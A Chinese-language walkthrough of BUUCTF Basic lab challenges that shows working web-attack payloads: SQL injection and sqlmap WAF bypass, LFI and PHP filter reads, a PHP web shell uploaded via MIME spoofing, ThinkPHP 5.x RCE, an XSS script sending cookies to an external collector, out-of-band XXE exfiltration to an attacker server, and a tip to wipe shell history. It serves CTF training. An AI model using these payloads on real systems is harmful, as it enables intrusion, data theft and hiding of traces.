BUUCTF - Basic:从靶场入门到实战的Web安全漏洞全景解析
1. 从零开始:BUUCTF Basic靶场环境搭建
第一次接触BUUCTF Basic靶场时,我花了整整两小时才把环境跑通。这个在线靶场平台不需要本地部署,但有几个关键点需要注意:浏览器建议使用Chrome或Firefox的最新版本,因为某些题目涉及到前端漏洞利用时,旧版本浏览器可能会出现兼容性问题。实测发现,Edge浏览器在处理某些XSS题目时会出现意外拦截。
靶场地址通常以.node5.buuoj.cn结尾,每个题目会分配独立端口。比如某次练习中,我遇到的SSH题目端口是32245而非默认的22端口。这里有个小技巧:直接在浏览器地址栏输入ping 题目域名是行不通的,需要在命令行使用ping命令获取真实IP。Windows用户可能会遇到防火墙拦截,记得临时放行ICMP协议。
注意:遇到连接超时的情况,先检查网络是否开启了代理。我遇到过三次因为系统代理设置导致无法连接的情况,关闭后立即恢复正常。
2. SSH连接漏洞实战剖析
2.1 基础连接与信息收集
Linux Labs这道SSH题目看似简单,却暗藏玄机。题目给出的连接格式通常是:
ssh -p 端口号 用户名@IP地址但实际操作时会发现两个坑点:首先,密码输入时不会显示字符(这是SSH的正常行为);其次,连接成功后flag文件往往不在当前目录。我建议先执行以下命令:
find / -name "*flag*" 2>/dev/null这个命令会搜索全盘包含"flag"关键字的文件,2>/dev/null是为了过滤权限报错信息。有次我花了20分钟逐层查找,后来发现flag藏在/var/www/backup目录下。
2.2 权限提升与痕迹清理
在某个进阶题目中,我遇到获取flag后无法读取的情况。这时需要检查文件权限:
ls -l /path/to/flag如果显示权限不足,可以尝试:
sudo -l # 查看当前用户能使用的特权命令有次发现可以用sudo执行vim,于是通过:!cat /path/to/flag成功读取。完成后记得清除操作记录:
history -c && rm ~/.bash_history3. 文件包含漏洞深度利用
3.1 基础LFI与路径遍历
BUU LFI COURSE这道题教会我,文件包含不单是简单的参数修改。当遇到类似代码时:
include($_GET['file'].".php");传统方法是用../进行路径遍历,但要注意系统差异。Linux下可以用:
?file=../../../../etc/passwd而Windows下则要尝试:
?file=..\..\..\windows\win.ini有次我遇到过滤了../的情况,改用....//双重编码成功绕过。
3.2 PHP伪协议高级利用
更高级的玩法是使用PHP伪协议。当直接读取文件被拦截时,可以尝试:
?file=php://filter/convert.base64-encode/resource=index这样会返回base64编码的源码,解码后可能发现数据库密码等敏感信息。我在某次比赛中用这个方法找到了后台登录入口。
4. SQL注入攻防全解析
4.1 手工注入七步法
BUU SQL COURSE这道题堪称经典。我的注入流程是这样的:
- 判断注入点:
id=1 and 1=1正常,id=1 and 1=2报错 → 存在数字型注入 - 确定字段数:
order by 4正常,order by 5报错 → 4个字段 - 查数据库名:
union select 1,database(),3,4- 爆表名:
union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()- 爆字段名:
union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='admin'- 取数据:
union select 1,username,password,4 from admin- 登录后台获取flag
4.2 sqlmap自动化实战
手工注入虽然直观,但效率太低。sqlmap的使用其实很有讲究:
sqlmap -u "http://target.com/news.php?id=1" --batch --random-agent --level=3 --risk=3关键参数说明:
--batch:自动选择默认选项--random-agent:伪装浏览器UA--level:检测级别(1-5)--risk:风险等级(1-3)
有次遇到WAF拦截,加上--tamper=space2comment成功绕过。获取数据后记得使用--dump保存结果。
5. 文件上传漏洞组合拳
5.1 前端绕过与MIME欺骗
Upload-Labs-Linux的第一关教会我,前端验证形同虚设。虽然页面上限制上传.jpg文件,但用Burp拦截后修改两个地方:
Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg保持Content-Type为image类型,同时修改filename为php后缀。这种手法在90%的基础题目中都有效。
5.2 文件包含组合利用
Buu Upload Course 1这道题特别有意思。上传的php文件被重命名为jpg,但配合文件包含漏洞依然可以执行。我的解决步骤:
- 上传包含以下代码的jpg文件:
<?php system($_GET['cmd']); ?>- 通过包含漏洞执行命令:
?file=upload/xxx.jpg&cmd=cat /flag这种组合拳在真实渗透测试中也非常常见。
6. XSS漏洞实战技巧
6.1 基础注入与绕过
BUU XSS COURSE 1这道题演示了存储型XSS的威力。当发现<script>标签被过滤时,可以尝试:
<img src=x onerror=alert(1)> <svg/onload=alert(1)>在某个实际案例中,我甚至用以下payload绕过严格过滤:
<a href="javascript:alert`1`">click</a>6.2 Cookie窃取实战
使用XSS平台窃取Cookie时要注意:
- 选择支持HTTPS的平台(如xssaq.com)
- 构造payload时要考虑字符限制:
<script>document.location='http://xss平台.com/?cookie='+document.cookie</script>- 获取Cookie后要用Burp的Cookie Manager功能替换
7. 漏洞组合利用实战案例
7.1 ThinkPHP框架漏洞利用
AWD Test 1展示了框架漏洞的可怕之处。ThinkPHP 5.x的RCE漏洞利用步骤:
- 识别框架版本:通过报错信息或robots.txt
- 执行系统命令:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls- 查找flag文件:
...&vars[1][]=find / -name flag*- 读取flag内容:
...&vars[1][]=cat /var/www/flag7.2 XXE漏洞文件读取
XXE漏洞的利用往往需要多次尝试。在BUU XXE COURSE 1中,我最终使用的payload是:
<!DOCTYPE root [ <!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % dtd SYSTEM "http://攻击者服务器/evil.dtd"> %dtd; ]> <root>&send;</root>配合远程服务器上的evil.dtd文件:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://攻击者服务器/?file=%file;'>"> %all;8. CTF实战经验分享
在BUUCTF Basic靶场练习时,我总结出三个黄金法则:
- 永远先检查源码:按F12查看HTML注释和JS代码,有次我在注释里直接找到了后台地址
- 参数修改要彻底:不仅是URL参数,Header、Cookie、POST数据都可能存在漏洞
- 工具配合手工:先用自动化工具扫描,再手工验证,最后综合各种信息突破
遇到瓶颈时,不妨试试以下命令组合:
# 查找web目录 find /var/www -type f -name "*.php" # 检查运行服务 netstat -tulnp # 查看cron任务 crontab -l